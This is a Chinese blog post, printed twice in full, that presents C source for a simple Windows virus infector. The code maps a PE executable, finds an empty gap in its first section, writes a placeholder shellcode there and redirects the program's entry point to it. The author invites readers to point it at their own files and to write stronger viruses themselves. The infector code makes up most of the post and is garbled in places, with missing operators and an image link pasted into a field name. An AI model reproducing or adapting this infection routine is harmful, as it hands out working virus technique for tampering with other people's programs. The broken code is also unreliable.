通过C编程实现病毒的文件感染功能…
2015-01-23 21:00
141 查看
编程学着不是让你领教它的枯燥无味的,是让你灵活的用它的,让人们凌驾于计算机的智慧之上,用它把你的生活变得更简单,让不完美的世界更完美,看到了很多人自己写程序表白,的确可以做出很多浪漫。
你还可以拿着它玩出各种花样,别说你能力不够,那只是你对自己懒于思考,懒于学习的借口,世上无难事只怕有心人!奉上用C编程实现简易病毒的感染功能,别人能用很高级很复杂方式做到的事情,我同样能拿着最基层的方式做到,这里面很多函数,很多结果你根本就不需要写,只要记一下就行了,都是别人早就写好了的。
代码如下:
#include
//假设这是病毒的十六进制码,虽然太简单了,但对于复杂病毒,感染模式也一样。这个病毒叫shellcod,不给出真实病毒,想要强大的病毒就自己写吧。
char
shellcode[]="\x90\x90\x90\x90\xb8\x90\x90\x90\x90\x90\xff\xe0\x00";
DWORD FindSpace(LPVOID lpBase,PIMAGE_NT_HEADERS
pNtHeader);//唯一一个必须自己写的函数,用于寻找文件空隙。
int main(int argc,char *agrv[])
{
HANDLE hFile=NULL;
HANDLE hMap=NULL;
LPVOID lpBase=NULL;
//建立文件句柄,文件视图句柄用于读取文件的PE结构(不懂PE结构就先别学玩毒,先学PE吧),lpBase指向文件基地址的指针
hFile=CreateFile("F:\\1\\test.exe",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
//先打开要感染的文件,以感染一个名为test.exe文件为例,可以自己修改,后面的参数学过English就懂,英语文盲就去补英语去吧。
hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
//打开文件的二进制视图,以查看PE,确定相关信息以图写入。
lpBase=MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
PIMAGE_DOS_HEADER
pDosHeader=(PIMAGE_DOS_HEADER)lpBase; //读取基地址处PE结构的dos信息;
PIMAGE_NT_HEADERS pNtHeader=NULL;
//用于保存PE结构的文件头
IMAGE_SECTION_HEADER imgSec={0};
if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
//判断文件是否为PE结构
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return -1;
}
pNtHeader=(PIMAGE_NT_HEADERS)(BYTE*)lpBase
pDosHeader->e_lfanew; //读取文件头
if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE)
//判断文件是否为PE结构
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return -1;
}
DWORD dwAddr=FindSpace(lpBase,pNtHeader);
//寻找文件空隙
DWORD
dwOep=pNtHeader->OptionalHeader.ImageBase
pNtHeader->OptionalHeader.AddressOfEntryPoint; //获取文件打开时的入口点
*(DWORD
*)&shellcode[5]=dwOep;
memcpy((char*)dwAddr,shellcode,strlen(shellcode)
3);
dwAddr=dwAddr-(DWORD)(BYTE*)lpBase;
pNtHeader->OptionalHeader.AddressOfEntryPoint=dwAddr;
//构造新的入口点
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
DWORD FindSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader)
{
//用于读取文件节区信息
PIMAGE_SECTION_HEADER
pSec=(PIMAGE_SECTION_HEADER)(((BYTE*)&(pNtHeader->OptionalHeader)
pNtHeader->FileHeader.SizeOfOptionalHeader));
DWORD dwAddr=pSec->
![](http://simg.sinajs.cn/blog7style/images/common/sg_trans.gif)
ointerToRawData
pSec->SizeOfRawData-sizeof(shellcode);
LPVOID lp=malloc(sizeof(shellcode));
memset(lp,0,sizeof(shellcode));
while(dwAddr>pSec->Misc.VirtualSize)
{
int
nRet=memcmp((LPVOID)dwAddr,lp,sizeof(shellcode));
if(nRet==0)
{
free(lp);
return
dwAddr; //返回有可用空间即空隙的地址
}
dwAddr--;
}
free(lp);
return 0;
}
//你可以拿它,改改CreateFile处的路径,感染你自己的文件试试,然后用OD或者C32asm看看有什么效果。
你还可以拿着它玩出各种花样,别说你能力不够,那只是你对自己懒于思考,懒于学习的借口,世上无难事只怕有心人!奉上用C编程实现简易病毒的感染功能,别人能用很高级很复杂方式做到的事情,我同样能拿着最基层的方式做到,这里面很多函数,很多结果你根本就不需要写,只要记一下就行了,都是别人早就写好了的。
代码如下:
#include
//假设这是病毒的十六进制码,虽然太简单了,但对于复杂病毒,感染模式也一样。这个病毒叫shellcod,不给出真实病毒,想要强大的病毒就自己写吧。
char
shellcode[]="\x90\x90\x90\x90\xb8\x90\x90\x90\x90\x90\xff\xe0\x00";
DWORD FindSpace(LPVOID lpBase,PIMAGE_NT_HEADERS
pNtHeader);//唯一一个必须自己写的函数,用于寻找文件空隙。
int main(int argc,char *agrv[])
{
HANDLE hFile=NULL;
HANDLE hMap=NULL;
LPVOID lpBase=NULL;
//建立文件句柄,文件视图句柄用于读取文件的PE结构(不懂PE结构就先别学玩毒,先学PE吧),lpBase指向文件基地址的指针
hFile=CreateFile("F:\\1\\test.exe",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
//先打开要感染的文件,以感染一个名为test.exe文件为例,可以自己修改,后面的参数学过English就懂,英语文盲就去补英语去吧。
hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
//打开文件的二进制视图,以查看PE,确定相关信息以图写入。
lpBase=MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
PIMAGE_DOS_HEADER
pDosHeader=(PIMAGE_DOS_HEADER)lpBase; //读取基地址处PE结构的dos信息;
PIMAGE_NT_HEADERS pNtHeader=NULL;
//用于保存PE结构的文件头
IMAGE_SECTION_HEADER imgSec={0};
if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
//判断文件是否为PE结构
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return -1;
}
pNtHeader=(PIMAGE_NT_HEADERS)(BYTE*)lpBase
pDosHeader->e_lfanew; //读取文件头
if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE)
//判断文件是否为PE结构
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return -1;
}
DWORD dwAddr=FindSpace(lpBase,pNtHeader);
//寻找文件空隙
DWORD
dwOep=pNtHeader->OptionalHeader.ImageBase
pNtHeader->OptionalHeader.AddressOfEntryPoint; //获取文件打开时的入口点
*(DWORD
*)&shellcode[5]=dwOep;
memcpy((char*)dwAddr,shellcode,strlen(shellcode)
3);
dwAddr=dwAddr-(DWORD)(BYTE*)lpBase;
pNtHeader->OptionalHeader.AddressOfEntryPoint=dwAddr;
//构造新的入口点
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
DWORD FindSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader)
{
//用于读取文件节区信息
PIMAGE_SECTION_HEADER
pSec=(PIMAGE_SECTION_HEADER)(((BYTE*)&(pNtHeader->OptionalHeader)
pNtHeader->FileHeader.SizeOfOptionalHeader));
DWORD dwAddr=pSec->
![](http://simg.sinajs.cn/blog7style/images/common/sg_trans.gif)
ointerToRawData
pSec->SizeOfRawData-sizeof(shellcode);
LPVOID lp=malloc(sizeof(shellcode));
memset(lp,0,sizeof(shellcode));
while(dwAddr>pSec->Misc.VirtualSize)
{
int
nRet=memcmp((LPVOID)dwAddr,lp,sizeof(shellcode));
if(nRet==0)
{
free(lp);
return
dwAddr; //返回有可用空间即空隙的地址
}
dwAddr--;
}
free(lp);
return 0;
}
//你可以拿它,改改CreateFile处的路径,感染你自己的文件试试,然后用OD或者C32asm看看有什么效果。
相关文章推荐
- UNIX环境高级编程学习之第六章系统数据文件和信息-修改第四章实现的Shell的“ls -l”功能
- 木马编程DIY第12篇之文件传输 2功能实现
- java 通过 URL 类和 URLConnection类 以及输入流实现文件下载功能
- React中,通过iframe,实现文件下载功能
- DLL系列------编程实现感染PE文件加载DLL
- java模拟表单上传文件,java通过模拟post方式提交表单实现图片上传功能实例
- 通过网络编程、文件IO、多线程,实现客户端和服务端对话。
- 通过操作BMP文件的RGB值实现BMP文件的旋转,锐化,二值化,轮廓提取,边缘检测,合并等功能(二)
- 编写一个通讯录,功能与以前的诺基亚手机一样,可以通过键盘进行箭头的移动,回车进入选项,用“W”键代表手机手机左键,“backspace”键代表返回上一级。能够实现基本的人性化的增删改查及文件的导入导出
- 通过JSP+servlet实现文件上传功能
- VC实现简单的PE文件感染(增加的是downloader功能)
- Android下的应用编程——用HTTP协议实现文件上传功能
- 在PHP中通过POST方法实现文件上传功能
- 通过操作BMP文件的RGB值实现BMP文件的旋转,锐化,二值化,轮廓提取,边缘检测,合并等功能(一)
- Android下的应用编程——用HTTP协议实现文件上传功能
- 通过继承实现edit控件的拖拽文件功能扩展的一般步骤
- 编程实现文件的复制功能,要求源文件名及目标文件名在程序运行后根据提示输入
- 通过IO流讲一个文件里面的内容读到另外一个文件里面(文件复制功能的实现)
- Android下的应用编程——用HTTP协议实现文件上传功能
- C#中 如何通过路径实现文件上传功能